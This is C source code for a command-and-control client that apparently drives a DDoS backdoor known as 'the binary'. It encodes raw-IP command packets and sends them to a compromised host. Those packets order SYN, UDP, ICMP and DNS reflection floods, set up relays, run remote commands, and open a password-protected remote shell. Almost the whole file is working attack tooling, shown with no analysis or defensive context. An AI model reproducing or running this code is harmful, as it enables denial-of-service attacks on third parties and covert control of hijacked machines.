#include #include #include #include #include #include #include #include #include #include #include #include #include "the-binary.h" in_addr_t gethostaddr(void) { char name[256]; in_addr_t addr; struct hostent *he; if (!(gethostname(name, sizeof(name)))) return INADDR_NONE; he = gethostbyname(name); addr = (he ? *(in_addr_t *)he->h_addr_list[0] : INADDR_NONE); endhostent(); return addr; } void encode_packet(char *dst, char *src, int len) { int i; sprintf(dst, "%c", src[0] + 0x17); for (i = 1; i < len; i++) dst[i] = src[i] + dst[i - 1] + 0x17; } void decode_packet(char *dst, char *src, int len) { int i; for (i = len - 1; i >= 0; i--) { memmove(dst + 1, dst, len - 1 - i); dst[0] = (i ? src[i] - src[i - 1] : src[0]) - 0x17; while (dst[0] < 0) dst[0] += 0x100; } } inline unsigned short checksum(void *buffer, int len) { int i; unsigned short checksum; checksum = 0; for (i = len; i > 1; i -= 2) checksum += *(unsigned short *)((char *)buffer + len - i); if (i == 1) checksum += *(unsigned char *)buffer; checksum = (checksum >> 16) + checksum; checksum += (checksum >> 16); return ~checksum; } int send_packet(in_addr_t srcaddr, in_addr_t dstaddr, int cmd, char *buf, int buflen) { int rc, sockfd; char *packet; struct datahdr *datahdr; struct sockaddr_in addr; if ((sockfd = socket(PF_INET, SOCK_RAW, 0xFF)) == -1) return 0; if (!(packet = (char *)malloc(buflen + sizeof(datahdr)))) { close(sockfd); return 0; } datahdr = (struct datahdr *)packet; datahdr->iphdr.version = 0x45; datahdr->iphdr.tos = 0x00; datahdr->iphdr.tot_len = htons(buflen + sizeof(struct datahdr)); datahdr->iphdr.id = htons(random()); datahdr->iphdr.frag_off = 0x00; datahdr->iphdr.ttl = 0xFA; datahdr->iphdr.protocol = 0x0B; datahdr->iphdr.check = 0x00; datahdr->iphdr.saddr = srcaddr; datahdr->iphdr.daddr = dstaddr; buf[0] = 0; buf[1] = (char)cmd; encode_packet(packet + sizeof(datahdr), buf, buflen); datahdr->iphdr.check = checksum(packet, sizeof(struct iphdr)); datahdr->unknown[0] = 0x02; datahdr->unknown[1] = 0x00; addr.sin_family = AF_INET; addr.sin_port = 0x0A; addr.sin_addr.s_addr = dstaddr; rc = sendto(sockfd, packet, buflen + sizeof(struct datahdr), 0, (struct sockaddr *)&addr, sizeof(addr)); free(packet); close(sockfd); return rc; } static int usage(char *progname) { char *p; if ((p = strrchr(progname, '/')) != NULL) progname = p + 1; printf("usage: %s
[options] [<10 ip addresses>]\n", progname); printf(" [-c ] specify the command to execute remotely\n"); printf(" [-d
] specify a destination address (a.b.c.d)\n"); printf(" [-i ] iteration step (?) must be >= 2\n"); printf(" [-n ] specify a host by name\n"); printf(" [-r] randomize relay addresses\n"); printf(" [-s
] specify a source address to use (a.b.c.d)\n"); printf("\n"); printf("Possible commands are:\n"); printf(" relay, setup, output, reflect, udp, icmp, shell, cmd, kill, syn, direct\n"); printf(" (reflect and direct are dns floods)\n"); printf("\n"); printf("The first unqualified address is the address of the DOS server.\n"); return 1; } char *new_packet(int len) { char *ptr; if (!(ptr = (char *)malloc((len < 199 ? 199 : len)))) { printf("Out of memory!\n"); abort(); } *(unsigned short *)ptr = 0; return ptr; } int shell_output(in_addr_t srcaddr, in_addr_t dosaddr, char *command) { int nb, packetlen, sockfd; char buf[2048], *packet, tmpbuf[2048]; if ((sockfd = socket(PF_INET, SOCK_RAW, 0x0B)) == -1) { perror("socket"); return 1; } packet = new_packet((packetlen = strlen(command) + 3)); memcpy(packet + 2, command, strlen(command) + 1); if (packetlen < 199) packetlen = 199; if (!send_packet(srcaddr, dosaddr, CMD_SHELL_OUTPUT, packet, packetlen)) { close(sockfd); free(packet); printf("unable to send command packet!\n"); return 1; } free(packet); for (;;) { nb = recv(sockfd, tmpbuf, sizeof(tmpbuf), 0); if (((struct datahdr *)tmpbuf)->iphdr.protocol != 0x0B) continue; if (((struct datahdr *)tmpbuf)->unknown[0] != 3) continue; if (nb <= 200) continue; decode_packet(buf, tmpbuf + sizeof(struct datahdr), nb - sizeof(struct datahdr)); if (buf[1] != 3 && buf[1] != 4) continue; printf("%s", buf + 2); if (strlen(buf + 2) < 398) break; } close(sockfd); return 0; } int shell(in_addr_t srcaddr, in_addr_t dosaddr) { int nb, packetlen, sockfd; char buf[1024], *packet, password[0x13]; fd_set mask; struct hostent *he; struct in_addr iaddr; struct sockaddr_in addr; packet = new_packet((packetlen = 0)); if (packetlen < 199) packetlen = 199; if (!send_packet(srcaddr, dosaddr, CMD_SHELL, packet, packetlen)) { free(packet); printf("unable to send command packet!\n"); return 1; } free(packet); addr.sin_family = AF_INET; addr.sin_port = 0xF15A; addr.sin_addr.s_addr = dosaddr; if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); return 1; } sleep(2); iaddr.s_addr = dosaddr; printf("Trying %s...\n", inet_ntoa(iaddr)); if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) == -1) { perror("connect"); close(sockfd); return 1; } he = gethostbyaddr(&dosaddr, sizeof(dosaddr), AF_INET); printf("Connected to %s (%s).\n\n", he->h_name, inet_ntoa(iaddr)); nb = 1; if (ioctl(sockfd, FIONBIO, &nb) == -1) { perror("ioctl"); close(sockfd); return 1; } printf("Password: "); fflush(stdout); fgets(password, sizeof(password), stdin); send(sockfd, password, sizeof(password), 0); for (;;) { FD_ZERO(&mask); FD_SET(sockfd, &mask); FD_SET(fileno(stdin), &mask); if (select(FD_SETSIZE, &mask, NULL, NULL, NULL) < 1) continue; if (FD_ISSET(sockfd, &mask)) { nb = recv(sockfd, buf, sizeof(buf), 0); if (nb == -1 && (errno == EAGAIN || errno == EINTR)) continue; if (nb <= 0) break; fwrite(buf, nb, 1, stdout); } if (FD_ISSET(fileno(stdin), &mask)) { if (!fgets(buf, sizeof(buf), stdin)) break; send(sockfd, buf, strlen(buf), 0); } } printf("Connection closed.\n"); close(sockfd); return 0; } struct command_t { char *cmd; int index; }; static struct command_t commands[] = { { "relay", CMD_RELAY_COMMAND }, { "setup", CMD_RELAY_SETUP }, { "output", CMD_SHELL_OUTPUT }, { "reflect", CMD_DNSFLOOD_REFLECT }, { "udp", CMD_UDPORICMPFLOOD }, { "icmp", CMD_UDPORICMPFLOOD }, { "shell", CMD_SHELL }, { "cmd", CMD_SHELL_COMMAND }, { "kill", CMD_KILL_FLOOD }, { "syn", CMD_SYNFLOOD }, { "direct", CMD_DNSFLOOD_DIRECT }, { NULL, 0 }, }; int main(int argc, char *argv[]) { int i, mysrc, optarg, packetlen, rnd, step; char *command, *host, *packet; in_addr_t dosaddr, dstaddr, srcaddr; in_port_t port; struct command_t *cmd; command = NULL; dstaddr = INADDR_NONE; host = NULL; mysrc = 1; optarg = argc; port = 0; rnd = 0; srcaddr = INADDR_NONE; step = 0; if (argc < 3) return usage(argv[0]); for (cmd = commands; cmd->cmd; cmd++) { if (!strcmp(argv[1], cmd->cmd)) break; } if (!cmd->cmd) return usage(argv[0]); if ((dosaddr = inet_addr(argv[2])) == INADDR_NONE) return usage(argv[0]); for (i = 3; i < argc; i++) { if (!strcmp(argv[i], "-c") && i < argc - 1) command = argv[++i]; else if (!strcmp(argv[i], "-d") && i < argc - 1) dstaddr = inet_addr(argv[++i]); else if (!strcmp(argv[i], "-i") && i < argc - 1) step = atoi(argv[++i]); else if (!strcmp(argv[i], "-n") && i < argc - 1) host = argv[++i]; else if (!strcmp(argv[i], "-p") && i < argc - 1) port = atoi(argv[++i]); else if (!strcmp(argv[i], "-r")) rnd = 1; else if (!strcmp(argv[i], "-s") && i < argc - 1) srcaddr = inet_addr(argv[++i]); else { optarg = i; break; } } if (srcaddr == INADDR_NONE) { mysrc = 0; if ((srcaddr = gethostaddr()) == INADDR_NONE) { printf("unable to determine source address!\n"); return 1; } } if (cmd->index == CMD_DNSFLOOD_REFLECT && step >= 2) cmd->index = CMD_DNSFLOOD_REFLECT_STEPPED; else if (cmd->index == CMD_SYNFLOOD && step >= 2) cmd->index = CMD_SYNFLOOD_STEPPED; switch (cmd->index) { case CMD_RELAY_COMMAND: packet = new_packet((packetlen = 0)); break; case CMD_RELAY_SETUP: packet = new_packet((packetlen = 42)); if (!rnd) { if (argc - optarg != 10) return usage(argv[0]); packet[2] = 1; for (i = optarg; i < argc; i++) { *(in_addr_t *)(packet + 3 + (i * 4)) = inet_addr(argv[i]); if (*(in_addr_t *)(packet + 3 + (i * 4)) == INADDR_NONE) return usage(argv[0]); } } else { packet[2] = 2; if (dstaddr == INADDR_NONE) return usage(argv[0]); *(in_addr_t *)(packet + 3) = dstaddr; } break; case CMD_SHELL_OUTPUT: if (!command) return usage(argv[0]); return shell_output(srcaddr, dosaddr, command); case CMD_DNSFLOOD_REFLECT: packetlen = (host ? strlen(host) + 1 : 0) + 9; packet = new_packet(packetlen); if (host) memcpy(packet + 9, host, strlen(host) + 1); *(in_addr_t *)(packet + 2) = srcaddr; packet[6] = (char)((port >> 8) & 0xFF); packet[7] = (char)(port & 0xFF); packet[8] = (host != NULL); break; case CMD_UDPORICMPFLOOD: if (!host && dstaddr == INADDR_NONE) return usage(argv[0]); packetlen = (host ? strlen(host) + 1 : 0) + 13; packet = new_packet(packetlen); if (host) memcpy(packet + 13, host, strlen(host) + 1); packet[ 2] = strcmp(cmd->cmd, "udp") != 0; packet[ 3] = (char)port; *(in_addr_t *)(packet + 4) = dstaddr; *(in_addr_t *)(packet + 8) = srcaddr; packet[12] = (host != NULL); break; case CMD_SHELL: return shell(srcaddr, dosaddr); case CMD_SHELL_COMMAND: packet = new_packet((packetlen = strlen(command) + 3)); memcpy(packet + 2, command, strlen(command) + 1); break; case CMD_KILL_FLOOD: packet = new_packet((packetlen = 0)); break; case CMD_DNSFLOOD_REFLECT_STEPPED: packetlen = (host ? strlen(host) + 1 : 0) + 10; packet = new_packet(packetlen); if (host) memcpy(packet + 10, host, strlen(host) + 1); *(in_addr_t *)(packet + 2) = srcaddr; packet[6] = (char)step; packet[7] = (char)((port >> 8) & 0xFF); packet[8] = (char)(port & 0xFF); packet[9] = (host != NULL); break; case CMD_SYNFLOOD: if (!host && dstaddr == INADDR_NONE) return usage(argv[0]); packetlen = (host ? strlen(host) + 1 : 0) + 14; packet = new_packet(packetlen); if (host) memcpy(packet + 14, host, strlen(host) + 1); *(in_addr_t *)(packet + 2) = dstaddr; packet[6] = (char)((port >> 8) & 0xFF); packet[7] = (char)(port & 0xFF); packet[8] = !mysrc; *(in_addr_t *)(packet + 9) = srcaddr; packet[13] = (host != NULL); break; case CMD_SYNFLOOD_STEPPED: if (!host && dstaddr == INADDR_NONE) return usage(argv[0]); packetlen = (host ? strlen(host) + 1 : 0) + 15; packet = new_packet(packetlen); if (host) memcpy(packet + 15, host, strlen(host) + 1); *(in_addr_t *)(packet + 2) = dstaddr; packet[6] = (char)((port >> 8) & 0xFF); packet[7] = (char)(port & 0xFF); packet[8] = !mysrc; *(in_addr_t *)(packet + 9) = srcaddr; packet[13] = step; packet[14] = (host != NULL); break; case CMD_DNSFLOOD_DIRECT: if (!host && dstaddr == INADDR_NONE) return usage(argv[0]); packetlen = (host ? strlen(host) + 1 : 0) + 14; packet = new_packet(packetlen); if (host) memcpy(packet + 14, host, strlen(host) + 1); *(in_addr_t *)(packet + 2) = dstaddr; *(in_addr_t *)(packet + 6) = srcaddr; packet[10] = step; packet[11] = (char)((port >> 8) & 0xFF); packet[12] = (char)(port & 0xFF); packet[13] = (host != NULL); break; } if (packet) { if (packetlen < 199) packetlen = 199; if (!send_packet(srcaddr, dosaddr, cmd->index, packet, packetlen)) { free(packet); printf("unable to send command packet!\n"); return 1; } free(packet); } return 0; }